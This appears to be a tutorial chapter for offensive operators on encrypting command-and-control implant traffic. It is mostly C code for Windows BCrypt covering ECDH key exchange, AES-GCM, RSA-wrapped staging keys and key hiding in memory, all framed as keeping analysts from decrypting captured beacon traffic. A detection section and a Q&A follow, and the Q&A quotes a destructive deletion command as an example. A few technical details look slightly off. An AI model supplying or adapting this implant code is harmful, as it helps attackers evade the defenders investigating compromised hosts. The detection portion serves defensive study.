C2 Encryption and Key Exchange
Securing C2 channels with proper cryptography: ECDH key agreement, AES-GCM authenticated encryption, RSA-wrapped session keys, Windows BCrypt API usage, and why hardcoded keys get implants burned
An analyst captures your beacon traffic via a SPAN port and submits it to their PCAP analysis pipeline. If your C2 channel uses XOR or a hardcoded AES key embedded in the binary, reverse engineering the implant gives them the key and they can decrypt every session from every host — retroactively. With proper asymmetric key exchange (ECDH), the session key is unique per implant execution and never transmitted in plaintext. Even with full PCAP capture going back months, the analyst cannot decrypt past sessions without the server's private key. This chapter builds that cryptographic foundation.
Cryptographic Requirements for C2
| Property | Mechanism | Why It Matters |
|---|---|---|
| Confidentiality | AES-256-GCM symmetric encryption | Traffic content unreadable without key |
| Integrity / Authentication | GCM authentication tag (AEAD) | Detect tampered/replayed messages; prevent MITM command injection |
| Forward Secrecy | ECDH per-session key negotiation | Compromise of one session key or the private key doesn't decrypt historical traffic |
| Unique per session | Ephemeral ECDH key pair generated at startup | Each implant instance uses a different session key |
| No key in binary | Keys derived at runtime via key exchange | Reversing the implant binary yields no usable key material |
ECDH Key Exchange Protocol
Windows BCrypt Implementation
#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")
// ECDH key generation using BCrypt (NIST P-256 / secp256r1)
typedef struct _ECDH_CTX {
BCRYPT_ALG_HANDLE hAlg;
BCRYPT_KEY_HANDLE hPrivKey;
BYTE pubKeyBlob[72]; // BCRYPT_ECCKEY_BLOB + 64 bytes
DWORD pubKeyLen;
} ECDH_CTX;
NTSTATUS ECDHGenerateKeyPair(ECDH_CTX* ctx) {
NTSTATUS status;
status = BCryptOpenAlgorithmProvider(
&ctx->hAlg, BCRYPT_ECDH_P256_ALGORITHM, NULL, 0);
if (!BCRYPT_SUCCESS(status)) return status;
status = BCryptGenerateKeyPair(ctx->hAlg, &ctx->hPrivKey, 256, 0);
if (!BCRYPT_SUCCESS(status)) goto cleanup;
status = BCryptFinalizeKeyPair(ctx->hPrivKey, 0);
if (!BCRYPT_SUCCESS(status)) goto cleanup;
// Export public key blob (BCRYPT_ECCPUBLICBLOB)
// Format: BCRYPT_ECCKEY_BLOB header (8 bytes) + X (32 bytes) + Y (32 bytes)
status = BCryptExportKey(ctx->hPrivKey, NULL, BCRYPT_ECCPUBLICBLOB,
ctx->pubKeyBlob, sizeof(ctx->pubKeyBlob),
&ctx->pubKeyLen, 0);
return status;
cleanup:
BCryptCloseAlgorithmProvider(ctx->hAlg, 0);
return status;
}
// Compute ECDH shared secret from our private key + peer's public key
NTSTATUS ECDHComputeSharedSecret(BCRYPT_KEY_HANDLE hOurPrivKey,
BYTE* peerPubBlob, DWORD peerPubLen,
BYTE* sharedSecret, DWORD* secretLen) {
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hPeerPub = NULL;
BCRYPT_SECRET_HANDLE hSecret = NULL;
NTSTATUS status;
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_ECDH_P256_ALGORITHM, NULL, 0);
// Import peer's public key
status = BCryptImportKeyPair(hAlg, NULL, BCRYPT_ECCPUBLICBLOB,
&hPeerPub, peerPubBlob, peerPubLen, 0);
if (!BCRYPT_SUCCESS(status)) goto cleanup;
// Compute DH shared secret agreement
status = BCryptSecretAgreement(hOurPrivKey, hPeerPub, &hSecret, 0);
if (!BCRYPT_SUCCESS(status)) goto cleanup;
// Derive AES key using HKDF / SP800-56A KDF
BCryptBufferDesc kdfParams = {0};
BCryptBuffer kdfBufs[2] = {0};
PUCHAR label = (PUCHAR)"c2session";
kdfBufs[0].cbBuffer = (ULONG)strlen("c2session");
kdfBufs[0].BufferType = KDF_LABEL;
kdfBufs[0].pvBuffer = label;
kdfBufs[1].cbBuffer = 4;
kdfBufs[1].BufferType = KDF_HASH_ALGORITHM;
kdfBufs[1].pvBuffer = (PVOID)BCRYPT_SHA256_ALGORITHM;
kdfParams.cBuffers = 2;
kdfParams.pBuffers = kdfBufs;
kdfParams.ulVersion = BCRYPTBUFFER_VERSION;
status = BCryptDeriveKey(hSecret, BCRYPT_KDF_SP80056A_CONCAT,
&kdfParams, sharedSecret, 32, secretLen, 0);
cleanup:
if (hSecret) BCryptDestroySecret(hSecret);
if (hPeerPub) BCryptDestroyKey(hPeerPub);
if (hAlg) BCryptCloseAlgorithmProvider(hAlg, 0);
return status;
}
AES-256-GCM Message Encryption
// AES-GCM encrypt/decrypt using BCrypt
// Format: [12-byte nonce][16-byte auth tag][ciphertext]
#define GCM_NONCE_SIZE 12
#define GCM_TAG_SIZE 16
NTSTATUS AesGcmEncrypt(BCRYPT_KEY_HANDLE hKey,
BYTE* plaintext, DWORD ptLen,
BYTE* output, DWORD* outLen) {
BYTE nonce[GCM_NONCE_SIZE];
BCryptGenRandom(NULL, nonce, GCM_NONCE_SIZE, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
authInfo.pbNonce = nonce;
authInfo.cbNonce = GCM_NONCE_SIZE;
authInfo.pbTag = output + GCM_NONCE_SIZE; // tag goes after nonce
authInfo.cbTag = GCM_TAG_SIZE;
authInfo.pbAuthData = NULL; // no additional authenticated data
authInfo.cbAuthData = 0;
BYTE* ciphertext = output + GCM_NONCE_SIZE + GCM_TAG_SIZE;
DWORD ctLen = 0;
NTSTATUS status = BCryptEncrypt(
hKey, plaintext, ptLen, &authInfo,
NULL, 0, // IV = NULL for GCM (uses nonce in authInfo)
ciphertext, ptLen,
&ctLen, 0
);
if (BCRYPT_SUCCESS(status)) {
memcpy(output, nonce, GCM_NONCE_SIZE); // prepend nonce
*outLen = GCM_NONCE_SIZE + GCM_TAG_SIZE + ctLen;
}
return status;
}
NTSTATUS AesGcmDecrypt(BCRYPT_KEY_HANDLE hKey,
BYTE* input, DWORD inLen,
BYTE* plaintext, DWORD* ptLen) {
if (inLen < GCM_NONCE_SIZE + GCM_TAG_SIZE) return STATUS_INVALID_PARAMETER;
BYTE* nonce = input;
BYTE* tag = input + GCM_NONCE_SIZE;
BYTE* ciphertext = input + GCM_NONCE_SIZE + GCM_TAG_SIZE;
DWORD ctLen = inLen - GCM_NONCE_SIZE - GCM_TAG_SIZE;
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
authInfo.pbNonce = nonce;
authInfo.cbNonce = GCM_NONCE_SIZE;
authInfo.pbTag = tag;
authInfo.cbTag = GCM_TAG_SIZE;
return BCryptDecrypt(
hKey, ciphertext, ctLen, &authInfo,
NULL, 0,
plaintext, ctLen,
ptLen, 0
);
// Returns STATUS_AUTH_TAG_MISMATCH if tag invalid (message tampered/replayed)
}
// Create BCrypt AES-GCM key from 32-byte raw key material
BCRYPT_KEY_HANDLE CreateAesKey(BYTE* keyBytes) {
BCRYPT_ALG_HANDLE hAlg;
BCRYPT_KEY_HANDLE hKey;
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
DWORD chainingMode = BCRYPT_CHAIN_MODE_GCM;
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_GCM,
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, keyBytes, 32, 0);
BCryptCloseAlgorithmProvider(hAlg, 0);
return hKey;
}
The Hardcoded Key Anti-Pattern
Never embed static encryption keys in your implant binary. A hardcoded XOR key, a hardcoded AES key, or even an AES key derived at compile-time from a constant seed makes all your traffic decryptable from a single reverse engineering session. An analyst who captures your PCAP and finds your hardcoded key can retroactively decrypt every session from every host that ran this implant build. Cobalt Strike 3.x beacons used hardcoded RSA keys per team server — once a team server's RSA private key was leaked, researchers built tools to decrypt all legacy CS beacon traffic from PCAP captures. Use per-session ECDH key exchange so each session has a unique derived key.
RSA Staging Key
// The initial key exchange problem: how do we bootstrap ECDH if we have no shared key?
// Solution: embed SERVER's RSA public key in the implant
// Implant generates ephemeral ECDH keypair, wraps it with server's RSA pubkey
// Only the server (holding private key) can unwrap it
// Server-side RSA public key (2048-bit, embedded in implant as constant blob)
// In practice: generate once during C2 setup, never changes
const BYTE g_serverRsaPubKey[] = {
/* DER-encoded RSA 2048 public key — generated once per campaign */
0x30, 0x82, 0x01, 0x22, /* ... 294 bytes total ... */
};
// Implant startup: generate ephemeral ECDH, wrap public key under server RSA pubkey
NTSTATUS StageKeyExchange(ECDH_CTX* ctx, BYTE* wrappedPub, DWORD* wrappedLen) {
// Generate ephemeral ECDH keypair
NTSTATUS status = ECDHGenerateKeyPair(ctx);
if (!BCRYPT_SUCCESS(status)) return status;
// Import server RSA public key
BCRYPT_ALG_HANDLE hRsaAlg;
BCRYPT_KEY_HANDLE hRsaPub;
BCryptOpenAlgorithmProvider(&hRsaAlg, BCRYPT_RSA_ALGORITHM, NULL, 0);
BCryptImportKeyPair(hRsaAlg, NULL, BCRYPT_RSAPUBLIC_BLOB,
&hRsaPub, (PUCHAR)g_serverRsaPubKey, sizeof(g_serverRsaPubKey), 0);
// RSA-OAEP encrypt our ECDH public key blob (64 bytes + 8 byte header)
BCRYPT_OAEP_PADDING_INFO oaep = { BCRYPT_SHA256_ALGORITHM, NULL, 0 };
status = BCryptEncrypt(hRsaPub,
ctx->pubKeyBlob, ctx->pubKeyLen,
&oaep,
NULL, 0,
wrappedPub, 256, // RSA 2048 → 256 byte output
wrappedLen,
BCRYPT_PAD_OAEP);
BCryptDestroyKey(hRsaPub);
BCryptCloseAlgorithmProvider(hRsaAlg, 0);
return status;
// wrappedPub is sent to server in first beacon
// Server uses RSA private key to unwrap → gets implant ECDH pubkey
// Both compute shared secret → derive AES session key
}
Storing Session Key in Implant Memory
// Keep session key in memory — minimize exposure
// Zero it on process exit or kill command
static BCRYPT_KEY_HANDLE g_sessionKey = NULL;
static BYTE g_sessionKeyBytes[32] = {0};
void SetSessionKey(BYTE* keyBytes) {
memcpy(g_sessionKeyBytes, keyBytes, 32);
if (g_sessionKey) BCryptDestroyKey(g_sessionKey);
g_sessionKey = CreateAesKey(g_sessionKeyBytes);
}
void ZeroSessionKey() {
if (g_sessionKey) {
BCryptDestroyKey(g_sessionKey);
g_sessionKey = NULL;
}
SecureZeroMemory(g_sessionKeyBytes, 32);
// SecureZeroMemory not optimized away by compiler (unlike memset)
}
// Additional hardening: protect key bytes using VirtualProtect
// Mark page NOACCESS when key is not in use, PAGE_READWRITE only during encrypt/decrypt
void LockKeyPage() {
// Round down to page boundary
LPVOID page = (LPVOID)((ULONG_PTR)g_sessionKeyBytes & ~(0xFFF));
DWORD oldProtect;
VirtualProtect(page, 4096, PAGE_NOACCESS, &oldProtect);
}
Detection Engineering
-- Encrypted C2 is hard to detect by content — focus on behavioral signals
-- 1. TLS certificate anomalies:
-- Self-signed cert: issuer == subject
-- Short validity (e.g., < 30 days — common in auto-generated C2 certs)
-- Subject CN doesn't match SNI/Host header
-- Cipher suite mismatch with claimed browser User-Agent
-- JA3 hash not matching known browser fingerprints
-- Zeek SSL log analysis
@load base/protocols/ssl
event ssl_established(c: connection) {
if (c$ssl?$cert_chain && |c$ssl$cert_chain| > 0) {
local cert = x509_decode(c$ssl$cert_chain[0]$x509);
# Alert on self-signed certs (issuer.cn == subject.cn)
if (cert?$subject && cert?$issuer &&
cert$subject$cn == cert$issuer$cn) {
NOTICE([
$note=Self_Signed_TLS,
$conn=c,
$msg=fmt("Self-signed cert to %s", c$id$resp_h)
]);
}
}
}
-- 2. BCrypt API usage at runtime (EDR):
-- BCryptGenerateKeyPair call from non-system process
-- BCryptSecretAgreement (ECDH) from non-expected process
-- These are uncommon in normal applications; EDR hooks can alert
-- 3. Key exchange traffic patterns:
-- First connection has larger POST body (contains wrapped ECDH key)
-- Subsequently similar-sized encrypted blobs (consistent task/response sizes)
-- Any HTTPS session where first request is unusually large relative to subsequent
Q&A
What is forward secrecy and why does ECDH provide it but static AES keys do not?
Forward secrecy (also called perfect forward secrecy, PFS) means that compromise of long-term key material does not enable decryption of past traffic. With a static AES key baked into the binary: if an analyst captures 6 months of network traffic, then later reverse engineers the implant and extracts the key, they can decrypt all 6 months retroactively. With ECDH: the implant generates a new ephemeral (temporary, single-use) ECDH private key at startup. This key exists only in memory during the session. The session AES key is derived from the ECDH shared secret. When the process exits, the ephemeral private key is gone — even if the attacker's long-term server private key is later compromised, they cannot compute the session shared secret without the implant's ephemeral private key, which was never persisted. This is exactly how TLS 1.3 achieves forward secrecy — it mandates ephemeral key exchange (ECDHE) and prohibits RSA static key exchange. The cost is computational overhead of key generation per session (~0.5ms for P-256) and the complexity of the key exchange protocol. For C2 with sessions measured in hours or days, this overhead is completely negligible and the protection is substantial.
Why use AES-GCM instead of AES-CBC for C2 traffic encryption?
AES-CBC (Cipher Block Chaining) provides confidentiality but not authentication. An attacker who captures CBC ciphertext can flip specific bits in the ciphertext to produce predictable changes in the decrypted plaintext without knowing the key — this is the CBC bit-flipping attack. In a C2 context, a MITM adversary could modify encrypted commands (e.g., change "whoami" to "del /f /q C:\*") without knowing the key. AES-GCM is an AEAD (Authenticated Encryption with Associated Data) mode — it produces both ciphertext and an authentication tag. The tag is computed over the ciphertext (and optionally over additional plaintext headers). If even one bit of the ciphertext is modified, the tag verification fails and the decryption function returns an error (STATUS_AUTH_TAG_MISMATCH on Windows BCrypt). GCM also provides replay protection when nonces are unique — replaying a captured message fails because the server tracks seen nonces. CBC additionally requires PKCS7 padding, which introduces padding oracle vulnerabilities. GCM has no padding. The only discipline GCM requires is nonce uniqueness: reusing the same 12-byte nonce with the same key is catastrophic and leaks the key. Always generate nonces with BCryptGenRandom — never use a counter unless you're absolutely certain about state.